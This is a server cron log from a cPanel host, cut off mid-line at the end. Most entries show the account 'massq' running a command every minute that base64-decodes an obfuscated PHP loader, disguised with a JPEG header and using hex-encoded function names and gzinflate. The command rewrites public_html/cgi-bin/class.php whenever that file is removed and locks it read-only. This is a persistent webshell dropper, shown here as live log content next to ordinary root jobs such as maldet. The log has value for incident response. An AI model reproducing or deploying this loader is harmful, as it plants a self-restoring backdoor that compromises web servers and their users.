Apr 10 15:10:01 server CROND[890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:10:01 server CROND[891]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 15:11:01 server CROND[1054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:12:01 server CROND[1150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:12:01 server CROND[1151]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 15:13:01 server CROND[1351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:14:01 server CROND[1423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:15:01 server CROND[1481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:15:01 server CROND[1482]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 15:15:01 server CROND[1483]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 15:16:01 server CROND[1600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:17:01 server CROND[1661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:18:01 server CROND[1814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:19:01 server CROND[1868]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:20:01 server CROND[1919]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 15:20:01 server CROND[1920]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 15:20:01 server CROND[1921]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 15:20:01 server CROND[1922]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:20:01 server CROND[1925]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 15:21:01 server CROND[2041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:22:01 server CROND[2102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 15:23:01 server CROND[2244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQt